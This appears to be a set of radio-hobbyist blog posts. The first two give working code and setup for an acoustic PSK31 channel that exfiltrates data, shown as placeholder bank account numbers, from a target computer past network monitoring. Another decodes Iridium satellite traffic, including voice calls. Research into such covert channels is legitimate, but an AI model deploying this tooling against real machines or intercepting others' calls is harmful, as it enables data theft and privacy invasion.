Data exfiltration via PSK31 without GNU Radio

Using PSK31 to exfil data – a very basic proof of concept

Purpose
To exfiltrate data from a target computer without using any wired or wireless network which could be caught by network monitoring.

This example transmits over an audio card and receives with a microphone, so no additional radio hardware is required.

The aim is to reduce the amount of software installs needed, so GNU Radio is not used here.

Caveats
Please note this is just a basic proof of concept and further work is required to clean out some of the noise.

Hardware
Target computer where data needs to be extracted from.
Raspberry pi 3 with Raspbian installed and a 4G usb dongle for sending out the data.
A USB mini microphone for listening to incoming data on the raspberry pi.
A $5 mini USB microphone was used here:

Software
Transmiting computer with ability to execute JavaScript.
Receiving raspberry pi with fldigi program installed.

PSK31 Protocol
PSK31 is a Phase Shift Keying protocol often used by ham radio operators to send text messages over the air and has a data rate very close to typing speed. ASCII letters and numbers are encoded using a varicode, where a space is represented by 00. No character contains more than one 0 in a row.

JavaScript on transmitter and fldigi on receiver

This option removes the need for GNU Radio by using the fldigi program on the receiver and JavaScript on the transmitter.

Receiving computer (raspberry pi) configuration

Install raspbian e.g. dd the image onto an 8Gb sdcard [1].
Change the default passwords for pi & root users.

Configure the USB microphone
Add these libraries to the GR_BLOCKS_PATH environment variable.
For example, adding to ~/.profile:
GRC_BLOCKS_PATH="/home/sdr/grc-3rdparty-libs/gr-psk31-master/python"
Logout and back in again.

Next, plug in the USB mini microphone and test that it works:
$ arecord -l

Note: this records for 3 secs, make some test noises
$ arecord -D plughw:1,0 -d 3.0 test.wav
$ aplay test.wav

Next adjust the gain on the microphone
“Preferences”->”Audio Device Settings”. Select “USB PnP Sound Device (Alsa mixer)” from dropdown. Choose “Select Controls” and check the “Microphone” box and adjust the gain.

Install fldigi on raspberry pi receiver
$ sudo apt-get install fldigi

Run fldigi and click through the setup wizard (skip through the options).

Open fldigi menu item “Configure” -> “Soundcard”.

In the “Audio” tab, check the box for “PortAudio” and set “Capture” to “USB PnP Sound Device: Audio (hw:1,0)” (or whatever your microphone device number is). Also set “Playback” to default.

Running fldigi on the raspberry pi receiver
Select menu option “Op Mode” -> “PSK” -> “BPSK-31”.
Set frequency in frequency window to your chosen frequency e.g. 2000 Hz.

If the waterfall window is not showing, just open system audio settings and make sure the microphone is set to record using the red button. Raspbian menu -> “Preferences” -> “Audio Device Settings” -> select “USB PnP Sound Device (Alsa mixer)” -> check the red button on the microphone.

Transmitting computer configuration

Running the JavaScript PSK31 transmitter on the target
The following JavaScript code provides a great standalone option to send data via the target’s browser without the need to install additional tools.

https://github.com/jacobwgillespie/psk31

To make the dependencies easier for the target, the following file modifications are needed:

Create an index.html to include all the dependencies required by app.js. The contents of index.html:

<html> 
<script src="varicode.js">
</script> <script src="utils.js">
</script> <script src="psk.js">
</script> <script src="app.js">
</script> 
</html>

Remove the import and export keywords from the individual files.
The contents of app.js should now be:

const ENERGY_PER_BIT = 100;
const CARRIER_FREQUENCY = 2000;
const BPSK31_SAMPLE_RATE = 44100;
const BAUD_RATE = 31.25;
const HALF_BAUD_RATE = BAUD_RATE / 2;
const BIT_DURATION = BPSK31_SAMPLE_RATE / BAUD_RATE;
const PAYLOAD = 'bank account number: 12121212 bsb: 123456; bank account number: 13131313 bsb: 123456; bank account number: 14141414 bsb: 123456; bank account number: 15151515 bsb: 123456; bank account number: 16161616 bsb: 123456; bank account number: 17171717 bsb: 123456;';

const PAYLOAD_BITS = messageToBits(PAYLOAD);
const PAYLOAD_PHASES = bitsToPhases(PAYLOAD_BITS);
const PAYLOAD_AMPLITUDE_MODE = phasesToAmp(PAYLOAD_PHASES);

const HALF_PI = Math.PI / 2;

const bpsk31 = buildBinaryPhaseShiftKeyingOscillator(
  ENERGY_PER_BIT, BIT_DURATION, CARRIER_FREQUENCY
);

const app = (ctx) => {
  let startTime;

  // const ctx = new AudioContext(1, 0, BPSK31_SAMPLE_RATE);

  const spn = ctx.createScriptProcessor(16384, 1, 1);
  spn.onaudioprocess = (audioProcessingEvent) => {
    const outputData = audioProcessingEvent.outputBuffer.getChannelData(0);
    let currentPhase = 0;
    startTime = startTime || audioProcessingEvent.playbackTime;
    for (let sample = 0; sample < outputData.length; sample += 1) {
      const time = (audioProcessingEvent.playbackTime - startTime) + (sample / ctx.sampleRate);

      const frame = Math.floor(time * 1000 / HALF_BAUD_RATE);
      const progress = (time * 1000 % HALF_BAUD_RATE) / HALF_BAUD_RATE;

      const currentPhase = PAYLOAD_PHASES[frame];
      const ampMode = PAYLOAD_AMPLITUDE_MODE[frame];

      let ampModifier;
      switch (ampMode) {
        case 1:
          ampModifier = Math.cos(2 * Math.PI + Math.PI / 2 * progress);
          break;

        case 2:
          ampModifier = Math.cos(3/2 * Math.PI + Math.PI / 2 * progress);
          break;

        default:
          ampModifier = 1;
      }

      const result = bpsk31(time, currentPhase, ampModifier);
      outputData[sample] = result;
    }
  };

  spn.connect(ctx.destination);
};

const ctx = new AudioContext(); //(1, 0, BPSK31_SAMPLE_RATE);
app(ctx);

The contents of psk.js should now be:

// Parameter names come from the equation for BPSK here:
// https://en.m.wikipedia.org/wiki/Phase-shift_keying#Binary_phase-shift_keying_.28BPSK.29

const binaryPhaseShiftKeyingOscillator = (t, a, carrierFrequency, bit, ampModifier) =>
  ampModifier * a * Math.cos((2 * Math.PI * carrierFrequency * t) + (Math.PI * (1 - bit)));

const buildBinaryPhaseShiftKeyingOscillator = (
  energyPerBit,
  symbolDuration,
  carrierFrequency
) => {
  const a = Math.sqrt(2 * (energyPerBit / symbolDuration));
  return (t, bit, ampModifier) =>
    binaryPhaseShiftKeyingOscillator(t, a, carrierFrequency, bit, ampModifier);
};

The contents of utils.js should now be:

const messageToBits = message =>
  [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0].concat(message.split('').reduce(
    (bits, character) => bits.concat(VARICODE[character] || []).concat([0, 0]),
    []
  )).concat([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]);

const bitsToPhases = (bits) => {
  const phases = [0, 1, 1, 0, 0, 1]; // 000
  bits.forEach((bit) => {
    const previousPhase = phases[phases.length - 1];
    const differentPhase = previousPhase === 0 ? 1 : 0;
    if (bit === 1) {
      phases.push(previousPhase);
      phases.push(previousPhase);
    } else {
      phases.push(previousPhase);
      phases.push(differentPhase);
    }
  });

  return phases;
};

const phasesToAmp = (phases) => {
  const amp = [];

  for (let i = 0; i < phases.length - 1; i += 2) {
    const first = phases[i];
    const second = phases[i + 1];

    if (first !== second) {
      amp.push(1);
      amp.push(2);
    } else {
      amp.push(0);
      amp.push(0);
    }
  }

  return amp;
};

The contents of varicode.js should now be:

const VARICODE = {
  '\x00': 1010101011, // NUL
  '\x01': 1011011011, // SOH
  '\x02': 1011101101, // STX
  '\x03': 1101110111, // ETX
  '\x04': 1011101011, // EOT
  '\x05': 1101011111, // ENQ
  '\x06': 1011101111, // ACK
  '\x07': 1011111101, // BEL
  '\x08': 1011111111, // BS
  '\x09': 11101111, // HT
  '\x0a': 11101, // LF
  '\x0b': 1101101111, // VT
  '\x0c': 1011011101, // FF
  '\x0d': 11111, // CR
  '\x0e': 1101110101, // SO
  '\x0f': 1110101011, // SI
  '\x10': 1011110111, // DLE
  '\x11': 1011110101, // DC1
  '\x12': 1110101101, // DC2
  '\x13': 1110101111, // DC3
  '\x14': 1101011011, // DC4
  '\x15': 1101101011, // NAK
  '\x16': 1101101101, // SYN
  '\x17': 1101010111, // ETB
  '\x18': 1101111011, // CAN
  '\x19': 1101111101, // EM
  '\x1a': 1110110111, // SUB
  '\x1b': 1101010101, // ESC
  '\x1c': 1101011101, // FS
  '\x1d': 1110111011, // GS
  '\x1e': 1011111011, // RS
  '\x1f': 1101111111, // US
  ' ': 1,
  '!': 111111111,
  '"': 101011111,
  '#': 111110101,
  $: 111011011,
  '%': 1011010101,
  '&': 1010111011,
  "'": 101111111,
  '(': 11111011,
  ')': 11110111,
  '*': 101101111,
  '+': 111011111,
  ',': 1110101,
  '-': 110101,
  '.': 1010111,
  '/': 110101111,
  0: 10110111,
  1: 10111101,
  2: 11101101,
  3: 11111111,
  4: 101110111,
  5: 101011011,
  6: 101101011,
  7: 110101101,
  8: 110101011,
  9: 110110111,
  ':': 11110101,
  ';': 110111101,
  '': 111010111,
  '?': 1010101111,
  '@': 1010111101,
  A: 1111101,
  B: 11101011,
  C: 10101101,
  D: 10110101,
  E: 1110111,
  F: 11011011,
  G: 11111101,
  H: 101010101,
  I: 1111111,
  J: 111111101,
  K: 101111101,
  L: 11010111,
  M: 10111011,
  N: 11011101,
  O: 10101011,
  P: 11010101,
  Q: 111011101,
  R: 10101111,
  S: 1101111,
  T: 1101101,
  U: 101010111,
  V: 110110101,
  W: 101011101,
  X: 101110101,
  Y: 101111011,
  Z: 1010101101,
  '[': 111110111,
  '\\': 111101111,
  ']': 111111011,
  '^': 1010111111,
  _: 101101101,
  '`': 1011011111,
  a: 1011,
  b: 1011111,
  c: 101111,
  d: 101101,
  e: 11,
  f: 111101,
  g: 1011011,
  h: 101011,
  i: 1101,
  j: 111101011,
  k: 10111111,
  l: 11011,
  m: 111011,
  n: 1111,
  o: 111,
  p: 111111,
  q: 110111111,
  r: 10101,
  s: 10111,
  t: 101,
  u: 110111,
  v: 1111011,
  w: 1101011,
  x: 11011111,
  y: 1011101,
  z: 111010101,
  '{': 1010110111,
  '|': 110111011,
  '}': 1010110101,
  '~': 1011010111,
  '\x7F': 1110110101, // DEL
};

Object.keys(VARICODE).forEach((character) => {
  VARICODE[character] = VARICODE[character].toString(10).split('').map(c => parseInt(c, 10));
});

Next, once you have configured the frequency and the message (PAYLOAD variable) you wish to send in app.js, launch the index.html and set the volume to about half way.

You should now see the message being received by fldigi on the raspberry pi.

Transmitting the data from the target
Click on the index.html file to transmit the message.

Receiving the data on the raspberry pi
The fldigi tool listens on multiple channels and displays the receiving text on the left hand side.

Notes
Other devices could be used instead of a raspberry pi e.g. the spy devices with a sim which call a number to send the audio to when it hears audio in the room.

Web Bluetooth would also be an interesting option to explore.

Work still remains to clean up the signal and reduce the noise, especially when using the cheap USB microphones.

References
[1] https://www.raspberrypi.org/documentation/installation/installing-images/
[2] JavaScript code for sending PSK31 data
[3] Fast Light Digital modem application (fldigi)

Data exfiltration via PSK31 with GNU Radio

Using PSK31 to exfil data – a very basic proof of concept

Purpose
To exfiltrate data from a target computer without using any wired or wireless network which could be caught by network monitoring.

This example uses GNU Radio to transmit over an audio card and receive with a microphone, so no additional radio hardware is required.

Caveats
Please note this is just a basic proof of concept and further work is required to clean out some of the noise.

Hardware
Target computer where data needs to be extracted from.
Raspberry pi 3 with Raspbian installed and a 4G usb dongle for sending out the data.
A USB mini microphone for listening to incoming data on the raspberry pi.
A $5 mini USB microphone was used here:

Software
Transmiting computer with gnuradio installed or just ability to execute javascript.
Receiving raspberry pi with raspbian and gnuradio installed.

PSK31 Protocol
PSK31 is a Phase Shift Keying protocol often used by ham radio operators to send text messages over the air and has a data rate very close to typing speed. ASCII letters and numbers are encoded using a varicode, where a space is represented by 00. No character contains more than one 0 in a row.

Gnuradio on both sides

Receiving computer (raspberry pi) configuration

Install raspbian e.g. dd the image onto an 8Gb sdcard [1].
Change the default passwords for pi & root users.

Install GNU Radio
To install gnu-radio use the following commands:
$ sudo apt-get update
$ sudo apt-get install gnuradio
$ sudo apt-get install gnuradio-dev
$ sudo apt-get install libboost1.55-all-dev
$ sudo apt-get install libcppunit-1.13-0
$ sudo apt-get install libcppunit-dev
$ sudo apt-get install doxygen
$ sudo ldconfig

Install PSK31 graphs
Download and build the PSK31 gnuradio companion graphs from https://github.com/tkuester/gr-psk31 to your project directory
$ cd /home/pi/psk31/gr-psk31-master
$ mkdir build
$ cd build
$ cmake ../
$ make
$ sudo make install
$ sudo ldconfig

Configure the USB microphone
Add these libraries to the GR_BLOCKS_PATH environment variable.
For example, adding to ~/.profile:
GRC_BLOCKS_PATH="/home/sdr/grc-3rdparty-libs/gr-psk31-master/python"
Logout and back in again.

Next, plug in the USB mini microphone and test that it works:
$ arecord -l

Note: this records for 3 secs, make some test noises
$ arecord -D plughw:1,0 -d 3.0 test.wav
$ aplay test.wav

Next adjust the gain on the microphone
“Preferences”->”Audio Device Settings”. Select “USB PnP Sound Device (Alsa mixer)” from dropdown. Choose “Select Controls” and check the “Microphone” box and adjust the gain.

Modify the PSK31 receive graph
Perform the following modifications to the transmit psk gnuradio-companion graph “psk31_rx.grc”:

Replace the “Wav File Source” block with an “Audio Source” block.

Set the “Device Name” parameter within the “Audio Source” block to match your USB microphone address: e.g. to “plughw:1,0”

If this value does not match a valid audio input, the following error will appear when trying the run the graph:
"audio_alsa_source0 - [default]: No such file or directory"

In the “QT GUI Range” block for the “tune_freq” variable, change the “Default Value” to 2000 (or whichever frequency you choose for your situation).

Transmitting computer configuration

This computer will be sending the exfiltrated data to the raspberry pi.

Install GNU Radio
Install gnuradio, e.g. for Ubuntu (for Windows see [2]):
$ sudo apt-get update
$ sudo apt-get install gnuradio
$ sudo apt-get install gnuradio-dev
$ sudo apt-get install python-pkgconfig

Install PSK31 graphs
Download and build the PSK31 gnuradio companion graphs from https://github.com/tkuester/gr-psk31 to /home/pi/psk31
$ cd /home/pi/psk31/gr-psk31-master
$ mkdir build
$ cd build
$ cmake ../
$ make
$ sudo make install
$ sudo ldconfig

Add these libraries to the GR_BLOCKS_PATH environment variable
e.g. for ~/.profile:
GRC_BLOCKS_PATH="/home/sdr/grc-3rdparty-libs/gr-psk31-master/python"
Logout and back in again.

Modify the PSK31 transmit graph
Perform the following modifications to the transmit psk gnuradio-companion graph “psk31_tx.grc”:

In the “QT GUI Range” block for the “tx_freq” variable, change the “Default Value” to 2000 (or whichever frequency you choose for your situation).

Testing transmit and receive
Type in the test message you wish to send in psk31_tx.grc “Vector Source” block as the second parameter within the map variable. For example:

map(ord, 'bank account number: 12121212 bsb: 123456; bank account number: 13131313 bsb: 123456; bank account number: 14141414 bsb: 123456; bank account number: 15151515 bsb: 123456; bank account number: 16161616 bsb: 123456; bank account number: 17171717 bsb: 123456; \n')

Run the psk31_tx.grc graph on the target computer using gnuradio-companion.

Next, run the psk31_rx.grc graph on the raspberry pi computer using gnuradio-companion.

It should be noted that this receive graph is susceptible to noise, experiment with the correct tuning frequency for your hardware, but it should be somewhere around 2000Hz.

Transmitting the data from the target

Receiving the data on the raspberry pi
The incoming (noisy) text is shown in the bottom panel:

Notes
For demonstration here, the host computer is Linux but gnuradio also installs on Windows [2].

All gnuradio-companion graphs can be exported to standalone python code without the need to launch the gnuradio-companion user interface.

It is also possible to generate the PSK31 waveforms using a scripting language without the gnuradio libraries and removing the need to install gnuradio on the host.

Other devices could be used instead of a raspberry pi e.g. the spy devices with a sim which call a number to send the audio to when it hears audio in the room.

Work still remains to clean up the signal and reduce the noise, espcially when using the cheap USB microphones.

References
[1] https://www.raspberrypi.org/documentation/installation/installing-images/
[2] http://gnuradio.org/redmine/projects/gnuradio/wiki/WindowsInstall
[3] https://github.com/tkuester/gr-psk31

Listening to Iridium satellite traffic on Ubuntu (16.04 LTS)

Software
Download gr-iridium.
Download iridium-toolkit.

Hardware
RTLSDR/HackRF (using HackRF here).
A L-band patch antenna (using outernet’s antenna here).
A low noise amplifier allowing frequencies 1.616 – 1.6265 GHz (ideal but optional to perform initial tests).
A modified GPS antenna can also be used instead.
For a full list of hardware options please refer to CCC.

Target Frequencies
1.616 – 1.6265 GHz (L-band).
The outernet LNA does not fit this band but can be modified.
To get going quickly with rough results, it is still possible to receive messages without any filter.

Installing gr-iridium
Assuming GNU Radio and HackRF are already installed.
Download gr-iridium.
Install with the following commands:
$ mkdir build
$ cd build
$ cmake ..
$ make
$ sudo make install
$ sudo ldconfig

There should now be iridium blocks available in GNU Radio Companion.
The command line tool iridium-extractor should also be available.

Installing iridium-toolkit
Download iridium-toolkit.
No installation needed, just extract the zip file.

Listening to Iridium signals
Within the gr-iridium directory, the following command can be used:
(if using a RTLSDR, then use the rtl-sdr.conf file instead)
$ iridium-extractor -D 4 examples/hackrf.conf | grep "A:OK" > output.bit

Output should look something like:
osmosdr 0.1.4 (0.1.4) gnuradio 3.7.9
built-in source types: file osmosdr fcd rtl rtl_tcp uhd miri hackrf bladerf rfspace airspy redpitaya
Using HackRF One with firmware git-44df9d1
(RF) Gain: 14.0 (Requested 10)
BB Gain: 20.0 (Requested 20)
IF Gain: 40.0 (Requested 40)
Bandwidth: 10000000.0 (Requested 10000000)
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO1476513419 | i: 0/s | i_avg: 0/s | q: 0 | q_max: 0 | o: 0/s | ok: 0% | ok: 0/s | ok_avg: 0% | ok: 0 | ok_avg: 0/s | d: 0
OO1476513420 | i: 5/s | i_avg: 2/s | q: 0 | q_max: 3 | o: 5/s | ok: 83% | ok: 4/s | ok_avg: 83% | ok: 5 | ok_avg: 2/s | d: 0
1476513421 | i: 12/s | i_avg: 6/s | q: 0 | q_max: 2 | o: 12/s | ok: 84% | ok: 10/s | ok_avg: 84% | ok: 16 | ok_avg: 5/s | d: 0
1476513422 | i: 14/s | i_avg: 8/s | q: 0 | q_max: 2 | o: 14/s | ok: 100% | ok: 14/s | ok_avg: 91% | ok: 31 | ok_avg: 7/s | d: 0
1476513423 | i: 16/s | i_avg: 10/s | q: 0 | q_max: 3 | o: 16/s | ok: 88% | ok: 14/s | ok_avg: 90% | ok: 46 | ok_avg: 9/s | d: 0
1476513424 | i: 19/s | i_avg: 11/s | q: 0 | q_max: 3 | o: 19/s | ok: 70% | ok: 13/s | ok_avg: 84% | ok: 60 | ok_avg: 9/s | d: 0
1476513425 | i: 20/s | i_avg: 13/s | q: 0 | q_max: 3 | o: 20/s | ok: 80% | ok: 16/s | ok_avg: 83% | ok: 77 | ok_avg: 10/s | d: 0
...

Next, look at the captured traffic in the output.bit file:
$ tail -f output.bit

The output should look something like:
RAW: i-1476565594-t1 0009152 1626448000 A:OK I:00000000041 98% 0.009 132 001100000011000011110011001100111111001100110011111100110000101000011111
01000001001000010000000010100010100001001100011000000000000000000000000000000000000000000000000000000000000000001100110011001100110011001100110011
0011001100110011001100110011001001011110101101101100110011111111100001
RAW: i-1476565594-t1 0014822 1626280832 A:OK I:00000000045 86% 0.003 86 001100000011000011110011100000101001110001111111010001010110000010101111
1010010010110010011111010010001000000001101111100100100010001100100001100011010100110001100000000001000011100000111111111111
RAW: i-1476565594-t1 0019142 1626280448 A:OK I:00000000055 90% 0.004 140 001100000011000011110011100101001011100100001111011010010111001110101000
10101000011100110111001110110000000000001000001001010000011000000110001000100000001100001000010010100110101011001111111111111111111111111111111111
11111111111111111111111111111110010111101011011011001100111101000000100010001001000001
RAW: i-1476565594-t1 0020032 1621280384 A:OK I:00000000067 82% 0.003 179 001100000011000011110011000100011011001100000010001000000111001101100001
00010101110101001100110001010101010011010100110101010101010101010101010101010101010101010101010101010101010101010101110001001101010101010101010101
01010101010101010101010101010111000011010101010101010101010101010101010101110001010101010101010101010101010101010101010101010101010101010101010101
010101011100010101

Decoding Iridium signals
Within the iridium-toolkit directory, the following command can be used:
$ python iridium-parser.py output.bit > output.parsed

The output should look something like:
IRA: i-1476565594-t1 000053431 1626276608 81% 0.004 131 DL sat:80 beam:28 pos=(-43.58/+139.10) alt=804 RAI:48 ?10 bc_sb:07 PAGE(tmsi:38018671 msc_id:01) descr_extra:11101011010111100111001100111110100110
IRA: i-1476565594-t1 000054512 1626276480 95% 0.005 110 DL sat:80 beam:31 pos=(-43.51/+139.09) alt=803 RAI:48 ?10 bc_sb:12 PAGE(NONE) descr_extra:011010110101111001110011001111011011100000000000000110010011
IBC: i-1476565594-t1 000059452 1619859200 86% 0.004 137 DL bc:0 sat:80 cell:31 0 ts:1 sv_blkn:0 aq_cl:1111111111111111 aq_sb:12 aq_ch:0 00 0000 time:2016-10-16T08:07:36Z descr_extra:101110001100
IBC: i-1476565594-t1 000059632 1619859072 90% 0.004 143 DL bc:0 sat:80 cell:31 0 ts:1 sv_blkn:0 aq_cl:1111111111111111 aq_sb:12 aq_ch:0 00 101110100011111111111111110000 max_uplink_pwr:31 descr_extra:011110010111010100111101
IBC: i-1476565594-t1 000059812 1619858944 94% 0.004 137 DL bc:0 sat:80 cell:31 0 ts:1 sv_blkn:0 aq_cl:1111111111111111 aq_sb:12 aq_ch:0 00 0000 tmsi_expiry:284264056 descr_extra:001101000111
IBC: i-1476565594-t1 000059992 1619859072 87% 0.004 138 DL bc:0 sat:80 cell:31 0 ts:1 sv_blkn:0 aq_cl:1111111111111111 aq_sb:12 aq_ch:0 00 0000 time:2016-10-16T08:07:37Z descr_extra:00001100011001
IBC: i-1476565594-t1 000060172 1619858944 92% 0.004 139 DL bc:0 sat:80 cell:31 0 ts:1 sv_blkn:0 aq_cl:1111111111111111 aq_sb:12 aq_ch:0 00 101110100011111111111111110000 max_uplink_pwr:31 descr_extra:1111000101010101
IBC: i-1476565594-t1 000060352 1619858944 90% 0.004 142 DL bc:0 sat:80 cell:31 0 ts:1 sv_blkn:0 aq_cl:1111111111111111 aq_sb:12 aq_ch:0 00 0000 tmsi_expiry:284264056 descr_extra:0101001110110011010100
...

To visualise the types of messages captured:
$ python stats.py output.parsed

To check if your data contains voice calls:
$ python stats-voc.py output.parsed

Select the samples and play-iridium-ambe will decode and play the calls.

How to get started with Software Defined Radio (SDR)

Hardware
http://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/
http://superkuh.com/rtlsdr.html
http://rtlsdr4everyone.blogspot.com.au/p/you-want-value-for-money-after-all.html

The cheapest way to get started is to buy a DVD USB dongle from ebay/amazon. Get one with a realtek chip and you should only need to pay around $10-$20 AUD e.g. search for “dvb dongle realtek” on ebay for your nearest seller.

Software
http://www.rtl-sdr.com/about-rtl-sdr/
http://gnuradio.org/
http://gqrx.dk/
http://airspy.com/ (Windows)

Installing on Linux
While there are lots of options and installation methods including GNU Radio Live, Pentoo and Skywave Linux etc. It is very easy to install on Ubuntu now. For a quick start, run the following commands on Ubuntu:

$ sudo apt-get update
$ sudo apt-get install gnuradio
$ sudo apt-get install gqrx-sdr

You can now plug in your RTLSDR dongle and try listening to a radio station using GQRX. Also try browsing around the other frequencies to see what you can hear.

Also check out:
http://www.rtl-sdr.com/rtl-sdr-quick-start-guide/
http://www.rtl-sdr.com/introduction-to-signal-analysis-baltimore-course-live-stream-and-recorded-videos/

Installing on Windows
SDRSharp is very popular on Windows (equivalent of GQRX on Linux), check out some installation instructions and tutorials here:
http://www.rtl-sdr.com/rtl-sdr-quick-start-guide/
http://www.rtl-sdr.com/big-list-rtl-sdr-supported-software/

Looking at Aircraft
https://www.hak5.org/episodes/hak5-1609
https://www.hak5.org/episodes/hak5-1613
http://randomkeystrokes.com/2016/07/02/installing-dump1090-adsb-decoder-tool-on-ubuntu-16-04-lts/

Looking at Ships
https://www.hak5.org/episodes/hak5-1610

Looking at Pagers
Introduction to SDR workshop slides show how to get going with multimon-ng for pagers and dump1090 for airplanes on the Linux command line.
http://randomkeystrokes.com/2016/07/01/installing-multimon-ng-pager-decoder-tool-on-ubuntu-16-04-lts/

Introduction to Radio Theory
https://www.hak5.org/episodes/hak5-1604
https://www.hak5.org/episodes/hak5-1605
https://www.hak5.org/episodes/hak5-1607
https://www.hak5.org/episodes/hak5-1608

GNU Radio Introduction
http://gnuradio.org/redmine/projects/gnuradio/wiki/TutorialsCoreConcepts
http://www.trondeau.com/gr-tutorial/
http://files.ettus.com/tutorials/labs/Lab_1-5.pdf
https://www.youtube.com/watch?v=_hGNT1w-jig
https://www.youtube.com/watch?v=N9SLAnGlGQs
https://www.hak5.org/episodes/hak5-1601

Videos
Michael Ossmann’s SDR videos: http://greatscottgadgets.com/sdr/
Cyberspectrum Bay Area record their talks and post to YouTube.
Cyberspectrum Melbourne also record and post talks to YouTube.

Books
The Hobbyist’s Guide to the RTL-SDR: Really Cheap Software Defined Radio by Carl Laufer
Radio Theory Handbook. Beginner to Advanced by Mr Ronald Bertrand
GNU Radio’s reading list: http://gnuradio.org/redmine/projects/gnuradio/wiki/SuggestedReading

News
https://www.reddit.com/r/sdr
https://www.reddit.com/r/rtlsdr
https://www.reddit.com/r/hackrf
https://www.reddit.com/r/amateurradio

IRC
Join in and ask questions on IRC:
##rtlsdr on freenode
#gnuradio on freenode
#hak5 on freenode
#airspy on freenode
#bladerf on freenode
#hackrf on freenode
##hamradio on freenode
#sdrsig on freenode
#satnogs on freenode

Meetups
– Check out your local area, there may be a SDR meetup group near you!
– In Melbourne, we have Cyberspectrum Melbourne which meets every month.
– In Tasmania, there is also the SDRSIG group.
– In the Bay Area – USA, there is the excellent Cyberspectrum Bay Area.
– A lot of conferences are also running SDR workshops and introductions now too, e.g. in Australia there is Playpuscon in Sydney, Ruxcon in Melbourne and BSides in Canberra. So check out your local conferences too!

Cyberspectrum Melbourne Meetup Details
Come along to our meetup group in Melbourne or join our slack channel:
– Twitter: @sdr_melbourne
– Email: sdr/dot/melbourne@gmail.com
– Slack: sdr-melbourne.slack.com (email for an invite)
– Meetup: http://www.meetup.com/Cyberspectrum-Melbourne
– Github: https://github.com/sdr-melbourne/
– YouTube: https://www.youtube.com/channel/UCLBloqxOXEj4fH7sTT5YULA

Installing dump1090 ADSB Decoder Tool on Ubuntu (16.04 LTS)

Installing dump1090 for the RTLSDR dongle

Download dump1090
Download dump1090 zip file from github:
https://github.com/antirez/dump1090

Install Prerequisites
$ sudo apt-get install librtlsdr0 librtlsdr-dev

Install dump1090
$ cd dump1090-master
$ make

Using dump1090
1. Start dump1090 in interactive mode with the plane plotting option
$ ./dump1090 --interactive --net

2. Plane details will appear in this terminal window

3. Open your browser to see the planes plotted:
http://localhost:8080

Fixing Install Errors
Note: having librtlsdr-dev installed fixes this error:

user@host:~/dump1090-master$ make
Package librtlsdr was not found in the pkg-config search path.
Perhaps you should add the directory containing `librtlsdr.pc’
to the PKG_CONFIG_PATH environment variable
No package ‘librtlsdr’ found
cc -O2 -g -Wall -W -c dump1090.c
dump1090.c:46:21: fatal error: rtl-sdr.h: No such file or directory
compilation terminated.
Makefile:9: recipe for target ‘dump1090.o’ failed
make: *** [dump1090.o] Error 1

Installing dump1090 fork for more device support (RTLSDR/HackRF/Airspy/SDRplay)

Download dump1090_sdrplus
Download dump1090_sdrplus zip file from github:
https://github.com/itemir/dump1090_sdrplus

Install Prerequisites
$ sudo apt-get install librtlsdr0 librtlsdr-dev
$ sudo apt-get install libhackrf0 libhackrf-dev
$ sudo apt-get install libairspy0 libairspy-dev
$ sudo apt-get install libsoxr0 libsoxr-dev

Next, download SDRPlay libraries from:
http://www.sdrplay.com/linuxdl.php

Install SDRPlay:
user@host:~$ chmod 755 SDRplay_RSP_MiricsAPI-1.9.4.run
user@host:~$ ./SDRplay_RSP_MiricsAPI-1.9.4.run
Verifying archive integrity… All good.
Uncompressing SDRplay Mirics API Install Package V1.9.4 100%
Installing SDRplay RSP Mirics API library…
Architecture: x86_64
API Version: 1.8.1
Remove old libraries…
[sudo] password for user:
Install /usr/local/lib/libmirsdrapi-rsp.so
Remove old header files…
Install /usr/local/include/mirsdrapi-rsp.h
Udev rules directory found, adding rules…
Libusb found, continuing…
Installing SoapySDRPlay…
Installing SoapySDR…
Finished.
$ sudo ldconfig

Install dump1090_sdrplus
$ cd dump1090_sdrplus-master
$ make

Using dump1090_sdrplus
1. Start dump1090 in interactive mode with the plane plotting option
$ ./dump1090 --interactive --net

2. Plane details will appear in this terminal window

3. Open your browser to see the plans plotted:
http://localhost:8080

Fixing Install Errors
Note: having librtlsdr-dev installed fixes this error:

user@host:~/tools/dump1090-sdrplus-master$ make
Package librtlsdr was not found in the pkg-config search path.
Perhaps you should add the directory containing `librtlsdr.pc’
to the PKG_CONFIG_PATH environment variable
No package ‘librtlsdr’ found
cc -O2 -g -Wall -W -c dump1090.c
dump1090.c:46:21: fatal error: rtl-sdr.h: No such file or directory
compilation terminated.
Makefile:9: recipe for target ‘dump1090.o’ failed
make: *** [dump1090.o] Error 1

Note: having libhackrf0 & libhackrf-dev installed fixes this error:

user@host:~/tools/dump1090_sdrplus-master$ make
Package libhackrf was not found in the pkg-config search path.
Perhaps you should add the directory containing `libhackrf.pc’
to the PKG_CONFIG_PATH environment variable
No package ‘libhackrf’ found
Package libairspy was not found in the pkg-config search path.
Perhaps you should add the directory containing `libairspy.pc’
to the PKG_CONFIG_PATH environment variable
No package ‘libairspy’ found
Package soxr was not found in the pkg-config search path.
Perhaps you should add the directory containing `soxr.pc’
to the PKG_CONFIG_PATH environment variable
No package ‘soxr’ found
cc -O2 -g -Wall -W -c dump1090.c
dump1090.c:51:30: fatal error: libhackrf/hackrf.h: No such file or directory
compilation terminated.
Makefile:9: recipe for target ‘dump1090.o’ failed
make: *** [dump1090.o] Error 1

Note: having libairspy0 & libairspy-dev installed fixes this error:

user@host:~/tools/dump1090-sdrplus-master$ make
Package libairspy was not found in the pkg-config search path.
Perhaps you should add the directory containing `libairspy.pc’
to the PKG_CONFIG_PATH environment variable
No package ‘libairspy’ found
Package soxr was not found in the pkg-config search path.
Perhaps you should add the directory containing `soxr.pc’
to the PKG_CONFIG_PATH environment variable
No package ‘soxr’ found
cc -O2 -g -Wall -W -c dump1090.c
dump1090.c:52:30: fatal error: libairspy/airspy.h: No such file or directory
compilation terminated.
Makefile:9: recipe for target ‘dump1090.o’ failed
make: *** [dump1090.o] Error 1

Note: having libsoxr0 & libsoxr-dev installed fixes this error:

user@host:~/tools/dump1090-sdrplus-master$ make
Package soxr was not found in the pkg-config search path.
Perhaps you should add the directory containing `soxr.pc’
to the PKG_CONFIG_PATH environment variable
No package ‘soxr’ found
cc -O2 -g -Wall -W -c dump1090.c
dump1090.c:53:27: fatal error: mirsdrapi-rsp.h: No such file or directory
compilation terminated.
Makefile:9: recipe for target ‘dump1090.o’ failed
